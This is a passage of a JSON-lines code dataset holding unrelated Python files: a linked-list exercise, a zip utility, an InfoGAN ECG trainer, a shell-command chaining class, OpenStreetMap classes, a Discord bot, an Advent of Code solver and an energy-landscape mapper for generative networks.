self.inicio:\n no_auxiliar = self.inicio\n while( no_auxiliar.proximo ):\n no_auxiliar = no_auxiliar.proximo\n no_auxiliar.proximo = No(valor)\n\n else:\n self.inicio = No(valor)\n\n self.tamanho += 1\n\n def inserirOrdenado(self, valor):\n '''\n Adicionar um valor na proxima posição ordenada.\n Exemplo, a lista possui[ 1,2,3,10] e se passa o valor 4, ele deve ser aciionado antes do valor 10\n '''\n if self.inicio == None:\n no = No(valor)\n self.inicio = no\n\n else:\n print('im here')\n anterior = self.inicio\n\n while anterior:\n proximo = anterior.proximo\n\n print('while anterior im here')\n print(anterior.dado, ' < ', valor)\n if anterior and anterior.dado < valor:\n if proximo == None:\n no = No(valor)\n no.proximo = anterior.proximo\n anterior.proximo = no\n break\n elif proximo.dado > valor:\n no = No(valor)\n no.proximo = anterior.proximo\n anterior.proximo = no\n break\n else:\n anterior = anterior.proximo\n print(\"pula pro proximo node 2\")\n \n\n else:\n anterior = anterior.proximo\n print(\"pula pro proximo node 1 \")\n \n self.tamanho += 1\n\n def inserir(self, posicao, valor):\n '''\n Adicionar um valor em uma posição específica na lista.\n '''\n if posicao == 0:\n no = No(valor)\n no.proximo = self.inicio\n self.inicio = no\n else:\n anterior = self.inicio\n for i in range( posicao - 1):\n if anterior:\n anterior = anterior.proximo\n no = No(valor)\n no.proximo = anterior.proximo\n anterior.proximo = no\n self.tamanho += 1\n\n def imprimir(self):\n aux = self.inicio\n while (aux):\n print(aux.dado, '\\n')\n aux = aux.proximo\n\n def excluir(self, valor):\n '''\n Exclui elemento da lista que possua o valor dado\n '''\n # if self.tamanho == 0:\n # print(\"A lista esta vazia\")\n # return false\n # elif self.tamanho == 1:\n # if self.inicio.dado == valor\n # self.inicio = None\n # else:\n # print(\"valor não encontrado\")\n # else:\n # aux = inicio\n\n\n\n","sub_path":"atividade_2/Lista.py","file_name":"Lista.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"506288484","text":"#encoding:utf-8\n'''\nCreated on 2013��11��2��\n\n@author: yangluo\n'''\n\nimport os,zipfile\nfrom os.path import join\nfrom datetime import date\nfrom time import time\n \ndef zipfolder(folderpath,filepath):\n '''\n zip folder foldername and all its subfiles and folders into\n a zipfile named filename\n '''\n empty_dirs=[]\n zip=zipfile.ZipFile(filepath,'w',zipfile.ZIP_DEFLATED)\n for root,dirs,files in os.walk(folderpath):\n empty_dirs.extend([dir for dir in dirs if os.listdir(join(root,dir))==[]])\n for file in files:\n #print \"compressing\",join(root,filename).encode(\"gbk\")\n zip.write(join(root,file).encode(\"gbk\"))\n for dir in empty_dirs:\n zif=zipfile.ZipInfo(join(root,dir).encode(\"gbk\"+\"/\"))\n zip.writestr(zif,\"\")\n zip.close()\n #print \"Finish compressing\"\n \n# if __name__==\"__main__\":\n# zipfolder(\"E:\\\\filezip\",\"E:\\\\filezip.zip\")\n\n","sub_path":"VersionControl/zipModule.py","file_name":"zipModule.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"300183232","text":"import argparse\nimport os\nimport numpy as np\nimport math\nimport itertools\nfrom typing import NamedTuple\n\nimport torchvision.transforms as transforms\nfrom torchvision.utils import save_image\n\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torch.autograd import Variable\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nfrom InfoGAN.dataset_creator import ECGDataset\nfrom InfoGAN.generator import Generator, save_pics\nfrom InfoGAN.discriminator import Discriminator\nfrom InfoGAN.saver import save_models, save_training_curves\n\n\nclass Params(NamedTuple):\n experiment_folder: str\n # params of data generator\n step_size: int = 25 # num discrets in one step\n max_steps_left: int = 2 # num steps from patch center, allowed for the moving complex\n n_classes: int = 5 # number of classes for dataset\n patch_len: int = 256 # size of ecg patch, need to be degree of 2\n num_channels: int = 1 # \"number of channels in ecg, no more than 12\"\n\n # params of model\n code_dim: int = 2\n latent_dim: int = 36\n\n # params of training\n lr: float = 0.0002 #adam: learning rate\n b1: float = 0.5\n b2: float = 0.999 #adam: decay of first order momentum of gradient\n batch_size: int = 12\n n_epochs: int = 2501\n\n # params of logger\n save_pic_interval: int = 30 # in epoches\n save_model_interval: int = 30 # in epoches\n\ndef weights_init_normal(m):\n classname = m.__class__.__name__\n if classname.find(\"Conv\") != -1:\n torch.nn.init.normal_(m.weight.data, 0.0, 0.02)\n elif classname.find(\"BatchNorm\") != -1:\n torch.nn.init.normal_(m.weight.data, 1.0, 0.02)\n torch.nn.init.constant_(m.bias.data, 0.0)\n\ndef train(opt):\n best_loss = None\n cuda = True if torch.cuda.is_available() else False\n\n FloatTensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\n LongTensor = torch.cuda.LongTensor if cuda else torch.LongTensor\n\n\n # Loss functions\n adversarial_loss = torch.nn.MSELoss()\n categorical_loss = torch.nn.CrossEntropyLoss()\n continuous_loss = torch.nn.MSELoss()\n\n # Loss weights\n lambda_cat = 1\n lambda_con = 0.1\n\n\n # Initialize generator and discriminator\n generator = Generator(latent_dim=opt.latent_dim,\n n_classes=opt.n_classes, code_dim=opt.code_dim,\n patch_len=opt.patch_len,\n num_channels=opt.num_channels)\n discriminator = Discriminator(n_classes=opt.n_classes,\n code_dim=opt.code_dim,\n patch_len=opt.patch_len,\n num_channels=opt.num_channels)\n\n\n if cuda:\n generator.cuda()\n discriminator.cuda()\n adversarial_loss.cuda()\n categorical_loss.cuda()\n continuous_loss.cuda()\n\n # Initialize weights\n generator.apply(weights_init_normal)\n discriminator.apply(weights_init_normal)\n\n\n # Optimizers\n optimizer_G = torch.optim.Adam(generator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\n optimizer_D = torch.optim.Adam(discriminator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\n optimizer_info = torch.optim.Adam(\n itertools.chain(generator.parameters(), discriminator.parameters()), lr=opt.lr, betas=(opt.b1, opt.b2)\n )\n\n dataset_object = ECGDataset(opt.patch_len,\n max_steps_left=opt.max_steps_left,\n step_size=opt.step_size,\n num_leads=opt.num_channels)\n dataloader = torch.utils.data.DataLoader(dataset_object,\n batch_size=opt.batch_size,\n shuffle=True\n )\n # ----------\n # Training\n # ----------\n for epoch in range(opt.n_epochs):\n for i, (ecgs, labels) in enumerate(dataloader):\n\n batch_size = ecgs.shape[0]\n # Adversarial ground truths\n valid = Variable(FloatTensor(batch_size, 1).fill_(1.0), requires_grad=False)\n fake = Variable(FloatTensor(batch_size, 1).fill_(0.0), requires_grad=False)\n\n # Configure input\n real_ecgs = Variable(ecgs.type(FloatTensor))\n #labels = to_categorical(labels.numpy(), num_columns=opt.n_classes)\n\n # -----------------\n # Train Generator\n # -----------------\n\n optimizer_G.zero_grad()\n\n # Sample noise and labels as generator input\n z, _, label_input_one_hot, code_input = generator.sample_input_numpy(batch_size)\n\n label_input_one_hot = Variable(FloatTensor(label_input_one_hot))\n code_input = Variable(FloatTensor(code_input))\n z = Variable(FloatTensor(z))\n\n # Generate a batch of images\n gen_ecgs = generator(z, label_input_one_hot, code_input)\n # Loss measures generator's ability to fool the discriminator\n validity, _, _ = discriminator(gen_ecgs)\n g_loss = adversarial_loss(validity, valid)\n\n g_loss.backward()\n optimizer_G.step()\n\n # ---------------------\n # Train Discriminator\n # ---------------------\n\n optimizer_D.zero_grad()\n # Loss for real images\n real_pred, _, _ = discriminator(real_ecgs)\n d_real_loss = adversarial_loss(real_pred, valid)\n\n # Loss for fake images\n fake_pred, _, _ = discriminator(gen_ecgs.detach())\n d_fake_loss = adversarial_loss(fake_pred, fake)\n\n # Total discriminator loss\n d_loss = (d_real_loss + d_fake_loss) / 2\n\n d_loss.backward()\n optimizer_D.step()\n\n # ------------------\n # Information Loss\n # ------------------\n\n optimizer_info.zero_grad()\n # Sample labels\n\n z, label_input_int, label_input_one_hot, code_input = generator.sample_input_numpy(batch_size)\n z = Variable(FloatTensor(z))\n code_input = Variable(FloatTensor(code_input))\n gt_labels = Variable(LongTensor(label_input_int), requires_grad=False)\n label_input_one_hot = Variable(FloatTensor(label_input_one_hot))\n\n\n gen_ecgs = generator(z, label_input_one_hot, code_input)\n _, pred_label, pred_code = discriminator(gen_ecgs)\n\n info_loss = lambda_cat * categorical_loss(pred_label, gt_labels) + lambda_con * continuous_loss(\n pred_code, code_input\n )\n\n info_loss.backward()\n optimizer_info.step()\n\n # report current result etc..\n print(\n \"[Epoch %d/%d] [Batch %d/%d] [D loss: %f] [G loss: %f] [info loss: %f]\"\n % (epoch, opt.n_epochs, i, len(dataloader), d_loss.item(), g_loss.item(), info_loss.item())\n )\n\n if epoch % opt.save_model_interval == 0:\n filename = \"epoch_\" + str(epoch)\n folder = opt.experiment_folder + \"/checkpoints\"\n if best_loss is None:\n best_loss = info_loss.item()\n else:\n if best_loss <= info_loss.item():\n best_loss = info_loss.item()\n save_models(filename, folder, generator, discriminator)\n\n if epoch % opt.save_pic_interval == 0:\n filename = str(epoch) + \"_epoch\"\n folder = opt.experiment_folder + \"/img\"\n save_pics(filename, folder, generator)\n\n\n # at the end of training\n filename = \"LAST\"\n folder = opt.experiment_folder + \"/checkpoints\"\n save_models(filename, folder, generator, discriminator)\n\n\nif __name__ == \"__main__\":\n parameters = Params(\"experiment\")\n print(parameters._asdict())\n train(parameters)\n","sub_path":"InfoGAN/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"648715171","text":"# coding:utf8\nimport sys\nimport numpy as np\n\n\ndef toInt(num):\n return int(num)\n\n\ndef main():\n for line in sys.stdin:\n x = line.split(\",\")\n v = np.array(map(toInt, x))\n print(v.min)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"hive/udf/udf02.py","file_name":"udf02.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"88996387","text":"from .process import Process\n\n\nclass Command(object):\n def __init__(self, *cmd, **kwds):\n self.cmd = [c for c in cmd]\n\n self.target = kwds.get(\"target\", Process.exec)\n self.label = kwds.get(\"label\", kwds.get(\"banner\", \"command\"))\n self.announce = kwds.get(\"announce\")\n self.redirect = kwds.get(\"redirect\")\n self.prev = kwds.get(\"parent\") if isinstance(kwds.get(\"parent\"), Command) else None\n self.next = None\n\n def append(self, new_cmd):\n if not isinstance(new_cmd, list):\n self.cmd.append(new_cmd)\n else:\n self.cmd.extend(new_cmd)\n\n return self\n\n def then(self, *cmd, **kwds):\n if self.next:\n return self.next.then(*cmd, **kwds)\n\n cmd = Command(*cmd, **kwds) if not isinstance(cmd, Command) else cmd\n cmd.prev = self\n if self.announce and not cmd.announce:\n cmd.announce = self.announce\n if self.target and not cmd.target:\n cmd.target = self.target\n if self.redirect and not cmd.redirect:\n cmd.redirect = self.redirect\n self.next = cmd\n return cmd\n\n def __call__(self, *args, **kwargs):\n if self.announce:\n self.announce(self.label)\n\n command = \" && \".join(self.cmd)\n if self.redirect:\n kwargs[\"redirect\"] = self.redirect\n output = self.target(command, **kwargs)\n if self.next:\n return self.next(output)\n return output\n\n def run(self, *input):\n return self.root()\n\n @property\n def root(self):\n return self.prev if self.prev else self\n\n def __str__(self):\n return \"Command: \" + \" && \".join(self.cmd)\n\n def __repr__(self):\n return self.__str__()\n\n @classmethod\n def create(cls, *cmd, **kwds):\n return cls(*cmd, **kwds)","sub_path":"fuze/util/shell/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"602138023","text":"from sqlalchemy import (orm,\n __version__ as sa_version\n ) \n#from ore.alchemist.model import ModelDescriptor\nfrom ore.alchemist import sa2zs, interfaces\nfrom alchemist.traversal.managed import ManagedContainerDescriptor\nfrom zope import interface\nfrom zope.dottedname.resolve import resolve\n#from zope.location import ILocation\n#from zope.app.container.interfaces import IContainer\nfrom zope.app.security.protectclass import protectName, protectSetAttribute, protectLikeUnto\n\nsa_version = map(int, sa_version.split(\".\"))\n \n\ndef ApplySecurity( ctx ):\n # setup security\n #\n for c in ctx.domain_model.__bases__:\n if c is object:\n continue\n protectLikeUnto( ctx.domain_model, c )\n\n attributes = set([n for n,d in \\\n ctx.domain_interface.namesAndDescriptions(1)])\n attributes = attributes.union(\n set( [ f.get('name') for f in ctx.descriptor.fields] )\n )\n\n descriptor = ctx.descriptor\n for n in attributes:\n model_field = descriptor.get(n)\n p = model_field and model_field.view_permission or 'zope.Public'\n protectName( ctx.domain_model, n, p )\n \n for n in attributes:\n model_field = descriptor.get(n)\n p = model_field and model_field.edit_permission or 'zope.Public' # 'zope.ManageContent'\n protectSetAttribute( ctx.domain_model, n, p)\n \n for k, v in ctx.domain_model.__dict__.items():\n if isinstance(v, ManagedContainerDescriptor) or isinstance(\n v, orm.attributes.InstrumentedAttribute):\n protectName( ctx.domain_model, k, \"zope.Public\" )\n\ndef getDomainInterfaces( domain_model ):\n \"\"\"return the domain bases for an interface as well\n as a filtered implements only list \"\"\"\n domain_bases = []\n domain_implements = [] \n for iface in interface.implementedBy( domain_model ):\n if interfaces.IIModelInterface.providedBy( iface ):\n domain_bases.append( iface )\n else:\n domain_implements.append( iface )\n domain_bases = tuple(domain_bases) or (interfaces.IAlchemistContent,)\n return (domain_bases, domain_implements)\n \ndef GenerateDomainInterface( ctx, interface_name=None ):\n # when called from zcml, most likely we'll get a class not an instance\n # if it is a class go ahead and call instantiate it\n if isinstance( ctx.descriptor, type):\n ctx.descriptor = ctx.descriptor()\n \n # if the interface module is none, then use the nearest one to the domain class\n if ctx.interface_module is None:\n ispec = ctx.domain_model.__module__.rsplit('.',1)[0]+'.interfaces'\n ctx.interface_module = resolve( ispec )\n \n # interface for domain model\n if not interface_name:\n interface_name = \"I%s\"%( ctx.domain_model.__name__)\n \n msg = ( ctx.domain_model.__name__,\n ctx.interface_module.__name__,\n interface_name )\n \n if ctx.echo:\n ctx.logger.debug(\"%s: generated interface %s.%s\"%msg )\n \n bases, implements = getDomainInterfaces( ctx.domain_model )\n \n # use the class's mapper select table as input for the transformation\n domain_mapper = orm.class_mapper( ctx.domain_model )\n ## 0.4 and 0.5 compatibility, 0.5 has the table as local_table (select_table) is none lazy gen?\n #domain_table = getattr( domain_mapper, 'local_table', domain_mapper.select_table )\n # The 0.6 has no attribute select_table attribute. We still have 0.4 \n # compitability thought\n domain_table = (domain_mapper.local_table if sa_version[1] >= 5 \n else domain_mapper.select_table)\n \n \n # if the domain model already implements a model interface, use it\n # instead of generating a new one\n for iface in interface.implementedBy(ctx.domain_model):\n if (interfaces.IIModelInterface.providedBy(iface) and \n iface.__name__ == interface_name):\n domain_interface = iface\n break\n else:\n domain_interface = sa2zs.transmute(\n domain_table,\n annotation=ctx.descriptor,\n interface_name = interface_name,\n __module__ = ctx.interface_module.__name__,\n bases=bases)\n\n # if we're replacing an existing interface, make sure the new\n # interface implements it\n old = getattr(ctx.interface_module, interface_name, None)\n if old is not None:\n implements.append(old)\n \n implements.insert(0, domain_interface)\n # ensure interfaces are unique, preserving the order\n #implements = [ ifc for i,ifc in enumerate(implements) \n # if implements.index(ifc)==i ]\n #\n # XXX: Oooh, strangely the above does not work... it turns out that \n # implements contains seemingly repeated interfaces e.g. the first and last \n # interfaces are both \"\"\n # but, they are not the same! So, to compare unique we use the string\n # representation of each interface:\n # str_implements = map(str, implements)\n # implements = [ ifc for i,ifc in enumerate(implements) \n # if str_implements.index(str(ifc))==i ]\n # Ooops making the interfaces unique breaks other things downstream :(\n \n interface.classImplementsOnly(ctx.domain_model, *implements)\n \n setattr( ctx.interface_module, interface_name, domain_interface )\n ctx.domain_interface = domain_interface\n \n","sub_path":"alchemist.catalyst/branches/dynamic-ui/alchemist/catalyst/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"521214089","text":"# ~*~ coding: utf-8 ~*~\n#-\n# Copyright (c) 2014, Dominik George \n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport pyproj\nimport logging\n\ntranslations = {\"BusStop\": [{\"highway\": \"bus_stop\"}, {\"public_transport\": \"platform\"}],\n \"ATM\": [{\"amenity\": \"atm\"}]\n }\n\nnodes = {}\nways = {}\n\nbbox = []\nupdated = False\n\nlogger = logging.getLogger(__name__)\n\ndef log_stats():\n global bbox, nodes, ways, logger\n\n logger.info(\"Have %s nodes, %s ways in bounding box of size %s x %s.\" %\n (len(nodes), len(ways),\n int(bbox[1][0] - bbox[0][0]), int(bbox[1][1] - bbox[0][1])))\n\nclass MapObject():\n projection = pyproj.Proj(\n '+proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=-.0'\n '+x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null'\n '+wktext +no_defs'\n )\n\n def __init__(self, id, geometry, tags):\n self.id = id\n self.geometry = geometry\n self.tags = tags\n\nclass Node(MapObject):\n def __init__(self, id, latlon, tags):\n global bbox, logger, updated\n\n geometry = self.projection(*latlon)\n\n MapObject.__init__(self, id, geometry, tags)\n nodes[self.id] = self\n updated = True\n\n bbox_changed = False\n\n if not bbox:\n bbox = [[geometry[0], geometry[1]], [geometry[0], geometry[1]]]\n bbox_changed = True\n if geometry[0] < bbox[0][0]:\n bbox[0][0] = geometry[0]\n bbox_changed = True\n if geometry[0] > bbox[1][0]:\n bbox[1][0] = geometry[0]\n bbox_changed = True\n if geometry[1] < bbox[0][1]:\n bbox[0][1] = geometry[1]\n bbox_changed = True\n if geometry[1] > bbox[1][1]:\n bbox[1][1] = geometry[1]\n bbox_changed = True\n\n if bbox_changed:\n logger.debug(\"Bounding box changed to %s.\" % (bbox,))\n\nclass Way(MapObject):\n def __init__(self, id, refs, tags):\n global ways, updated\n\n points = []\n\n for nid in refs:\n if not \"osm-\" + nid in nodes.keys():\n self.logger.error(\"Way %s contains unknown node %s!\" % (self.id, nid))\n return None\n\n points.append((nodes[\"osm-\" + nid].geometry[0], nodes[\"osm-\" + nid].geometry[1]))\n\n MapObject.__init__(self, id, points, tags)\n ways[self.id] = self\n updated = True\n","sub_path":"veripeditus/membra/tabulae.py","file_name":"tabulae.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"582947294","text":"import asyncio\r\nfrom pathlib import Path\r\nimport logging\r\nimport os\r\nimport uvloop\r\n\r\nfrom dotenv import load_dotenv\r\n\r\nimport hikari\r\nimport tanjun\r\n\r\nfrom goodcat import GUILD_ID, __version__\r\n\r\nfrom .client import Client\r\n\r\nload_dotenv()\r\n\r\nlogger = logging.getLogger(\"goodcat.main\")\r\n\r\n\r\nclass Bot(hikari.GatewayBot):\r\n def __init__(self) -> None:\r\n super().__init__(\r\n token=os.environ.get(\"DISCORD\"), logs=\"DEBUG\", intents=hikari.Intents.ALL\r\n )\r\n\r\n def create_client(self) -> None:\r\n self.client = Client.from_gateway_bot(self, set_global_commands=GUILD_ID)\r\n self.client.load_modules()\r\n self.client.add_prefix(\"?\")\r\n\r\n def run(self: hikari.GatewayBot) -> None:\r\n self.create_client()\r\n\r\n self.event_manager.subscribe(hikari.StartingEvent, self.on_starting)\r\n self.event_manager.subscribe(hikari.StartedEvent, self.on_started)\r\n self.event_manager.subscribe(hikari.StoppingEvent, self.on_stopping)\r\n\r\n super().run()\r\n\r\n async def on_starting(self, event: hikari.StartingEvent) -> None:\r\n await self.client.open()\r\n logger.info(\"Bot is starting...\")\r\n\r\n async def on_started(self, event: hikari.StartedEvent) -> None:\r\n await self.update_presence(\r\n activity=hikari.Activity(type=hikari.ActivityType.PLAYING, name=\"狗狗\")\r\n )\r\n logger.info(\"Bot is loaded!\")\r\n\r\n async def on_stopping(self, event: hikari.StoppingEvent) -> None:\r\n await self.client.close()\r\n logger.info(\"Bot has been shut down.\")\r\n\r\n\r\n# bot.remove_command(\"help\")\r\n","sub_path":"goodcat/core/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"395515745","text":"import numpy as np\nimport fnmatch\n\ndef calculate_expression(string):\n both_indices = [index for index, char in enumerate(string) if char in \"+*\"]\n plus_indices = [index for index, char in enumerate(string) if char in \"+\"]\n mult_indices = [index for index, char in enumerate(string) if char in \"*\"]\n if len(both_indices) == 1:\n substring = string[0:]\n elif len(plus_indices) > 0:\n try:\n next_sign = both_indices[both_indices.index(plus_indices[0])+1]\n except:\n next_sign = len(string)\n if both_indices.index(plus_indices[0])-1 >= 0:\n prev_sign = both_indices[both_indices.index(plus_indices[0])-1] + 1\n else:\n prev_sign = 0\n substring = string[prev_sign:next_sign]\n else:\n substring = string[0:both_indices[1]]\n\n if \"+\" in substring:\n value = str(int(substring.split(\"+\")[0]) + int(substring.split(\"+\")[1]))\n elif \"*\" in substring:\n value = str(int(substring.split(\"*\")[0]) * int(substring.split(\"*\")[1]))\n\n\n if len(both_indices) == 1:\n return value\n else:\n return calculate_expression(string.replace(substring, value, 1))\n\ndef calculate_line(string):\n if string.find(\"(\") != -1:\n substring_w_par = string[string.rfind(\"(\"):]\n substring_w_par = substring_w_par[:substring_w_par.find(\")\")+1]\n substring_in_par = substring_w_par[1:substring_w_par.find(\")\")]\n string = string.replace(substring_w_par, calculate_expression(substring_in_par))\n return calculate_line(string)\n if string.find(\"(\") == -1:\n return calculate_expression(string)\n\n# set inputfilepath\nfilepath = r\"C:\\Users\\Jan\\Documents\\Python Scripts\\AdventOfCode 2020\\Day 18\\input.txt\"\n# initialize list for the playfield\ncalculations = []\nwith open(filepath) as fp:\n for cnt, line in enumerate(fp):\n calculations.append(line.strip(\"\\n\").replace(' ', ''))\n\nres_list = []\nfor calculation in calculations:\n res_list.append(int(calculate_line(calculation)))\nprint(sum(res_list))","sub_path":"Day 18/Day18-2.py","file_name":"Day18-2.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"322748911","text":"# map cooperative networks on parallel cpus\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom map_code.coop_explorer_parallel_cpu import *\nimport pickle\nfrom utils.data_io import *\n\nfrom torch.multiprocessing import Pool\n\nimport copyreg\nimport types\nimport shutil\n\n\ndef _pickle_method(method):\n func_name = method.im_func.__name__\n obj = method.im_self\n cls = method.im_class\n return _unpickle_method, (func_name, obj, cls)\n\n\ndef _unpickle_method(func_name, obj, cls):\n func = None\n for cls in cls.mro():\n try:\n func = cls.__dict__[func_name]\n except KeyError:\n pass\n else:\n break\n return func.__get__(obj, cls)\n\n\ncopyreg.pickle(types.MethodType, _pickle_method, _unpickle_method)\n\n\nclass CoopNetMapper(object):\n def __init__(self, explorer):\n self.explorer = explorer\n self.config = explorer.config\n\n if explorer.device is not None and not explorer.device.type == 'cpu':\n raise ValueError('Please use \"cpu\" as Pytorch device')\n self.explorer.device = None\n\n if self.config.mode == 'tree' or self.config.mode == 'viz':\n self.config.num_mins = 0\n self.config.num_steps = 0\n self.config.continue_elm = False\n\n # ELM records #\n # records of global minima\n self.min_z = np.zeros([self.config.num_mins, self.config.z_size], dtype=np.float64)\n self.min_ims = np.zeros([self.config.num_mins, self.config.image_size,\n self.config.image_size, self.config.num_channels])\n self.min_ens = np.zeros(self.config.num_mins, dtype=np.float64)\n self.min_ids = np.zeros(self.config.num_mins, dtype=np.int32)\n self.id_path_min = np.zeros(self.config.num_mins, dtype=np.int32)\n # records of ELM path\n self.z_path = np.zeros([self.config.num_steps, self.config.z_size], dtype=np.float64)\n self.im_path = np.zeros([self.config.num_steps, self.config.image_size,\n self.config.image_size, self.config.num_channels])\n self.en_path = np.zeros(self.config.num_steps)\n self.z_path_min = np.zeros([self.config.num_steps, self.config.z_size], dtype=np.float64)\n self.im_path_min = np.zeros([self.config.num_steps, self.config.image_size,\n self.config.image_size, self.config.num_channels])\n self.en_path_min = np.zeros(self.config.num_steps)\n self.id_path = np.zeros(self.config.num_steps, dtype=np.int32)\n\n # DG info #\n # barrier mat for DG\n self.barrier_mat = None\n # nodes for DG. each entry is a list [energy/y_loc, parent, children, x_loc] for DG construction\n self.nodes = []\n self.num_mins = self.config.num_mins\n\n # start a new mapping or load a mapping in progress\n self.map_iter = 0\n if self.config.continue_elm or (not self.config.mode == 'map'):\n self.map_iter = self.read_elm_data()\n\n # write results to file\n if self.config.mode == 'map':\n self.out_f = open(os.path.join(self.config.elm_out_dir, 'results.txt'), 'w', 1)\n self.out_f.write('Config = {}'.format(self.config))\n self.out_f.write('\\n\\n')\n # elif self.config.mode == 'tree':\n # self.out_f = open(os.path.join(self.config.elm_out_dir, 'results_tree.txt'), 'w', 1)\n # self.out_f.write('Config = {}'.format(self.config))\n # self.out_f.write('\\n\\n')\n\n @staticmethod\n def format_z(z):\n return torch.Tensor(z).view(1, -1, 1, 1)\n\n @staticmethod\n def format_im(im):\n im_out = np.zeros([im.shape[1], im.shape[2], im.shape[0]])\n for i in range(im.shape[0]):\n im_out[:, :, i] = im[i]\n return im_out\n\n def read_elm_data(self):\n # load saved elm data\n with open(os.path.join(self.config.elm_out_map, self.config.elm_file_in + '.pkl'), 'rb') as f:\n elm_data = pickle.load(f)\n\n # number of minima in elm record\n max_ind = min(len(elm_data.get('min_ids')), max(elm_data.get('min_ids')))\n\n if self.config.mode == 'tree' or self.config.mode == 'viz':\n self.min_z = elm_data.get('min_z')\n self.min_ims = elm_data.get('min_ims')\n self.min_ens = elm_data.get('min_ens')\n self.min_ids = np.arange(max_ind) + 1\n self.z_path = elm_data.get('z_path')\n self.im_path = elm_data.get('im_path')\n self.en_path = elm_data.get('en_path')\n self.z_path_min = elm_data.get('z_path_min')\n self.im_path_min = elm_data.get('im_path_min')\n self.en_path_min = elm_data.get('en_path_min')\n self.id_path = elm_data.get('id_path')\n self.id_path_min = elm_data.get('id_path_min')\n map_iter = len(self.id_path) - 1\n elif max_ind > self.config.num_mins:\n raise ValueError('Minima count in loaded record exceeds limit \"FLAGS.num_mins\"')\n else:\n self.min_z[0:max_ind] = elm_data.get('min_z')\n self.min_ims[0:max_ind] = elm_data.get('min_ims')\n self.min_ens[0:max_ind] = elm_data.get('min_ens')\n self.min_ids[0:max_ind] = np.arange(max_ind) + 1\n if self.config.read_elm_path:\n # number of iterations in elm record\n map_iter = len(elm_data.get('id_path'))\n self.z_path[0:map_iter] = elm_data.get('z_path')\n self.im_path[0:map_iter] = elm_data.get('im_path')\n self.en_path[0:map_iter] = elm_data.get('en_path')\n self.z_path_min[0:map_iter] = elm_data.get('z_path_min')\n self.im_path_min[0:map_iter] = elm_data.get('im_path_min')\n self.en_path_min[0:map_iter] = elm_data.get('en_path_min')\n self.id_path[0:map_iter] = elm_data.get('id_path')\n self.id_path_min[0:max_ind] = elm_data.get('id_path_min')\n else:\n map_iter = max_ind\n self.config.num_steps += max_ind\n self.z_path = np.zeros([self.config.num_steps, self.config.z_size], dtype=np.float64)\n self.im_path = np.zeros([self.config.num_steps, self.config.image_size,\n self.config.image_size, self.config.num_channels])\n self.en_path = np.zeros(self.config.num_steps)\n self.z_path_min = np.zeros([self.config.num_steps, self.config.z_size], dtype=np.float64)\n self.im_path_min = np.zeros([self.config.num_steps, self.config.image_size,\n self.config.image_size, self.config.num_channels])\n self.en_path_min = np.zeros(self.config.num_steps)\n self.id_path = np.zeros(self.config.num_steps, dtype=np.int32)\n self.z_path[0:max_ind] = elm_data.get('z_path')[elm_data.get('id_path_min')]\n self.im_path[0:max_ind] = elm_data.get('im_path')[elm_data.get('id_path_min')]\n self.en_path[0:max_ind] = elm_data.get('en_path')[elm_data.get('id_path_min')]\n self.z_path_min[0:max_ind] = elm_data.get('min_z')\n self.im_path_min[0:max_ind] = elm_data.get('min_ims')\n self.en_path_min[0:max_ind] = elm_data.get('min_ens')\n self.id_path[0:max_ind] = np.arange(max_ind) + 1\n self.id_path_min[0:max_ind] = np.arange(max_ind)\n\n # visualize saved elm 